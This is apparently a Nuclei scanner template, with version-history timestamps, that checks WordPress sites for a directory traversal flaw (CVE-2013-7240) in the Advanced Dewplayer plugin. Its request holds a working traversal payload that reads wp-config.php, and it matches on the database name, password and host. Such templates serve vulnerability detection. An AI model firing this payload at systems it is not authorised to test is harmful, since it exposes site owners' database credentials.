2021-07-25 23:49:51 +00:00
id : CVE-2013-7240
info :
name : WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal
author : daffainfo
severity : high
description : Directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.
reference : |
- https://www.exploit-db.com/exploits/38936
- https://nvd.nist.gov/vuln/detail/CVE-2013-7240
2021-07-26 08:02:53 +00:00
tags : cve,cve2013,wordpress,wp-plugin,lfi
2021-07-25 23:49:51 +00:00
requests :
- method : GET
path :
2021-07-26 08:02:53 +00:00
- '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'
2021-07-25 23:49:51 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "DB_NAME"
- "DB_PASSWORD"
2021-07-26 08:02:53 +00:00
- "DB_HOST"
- "The base configurations of the WordPress"
2021-07-25 23:49:51 +00:00
part : body
condition : and
- type : status
status :
- 200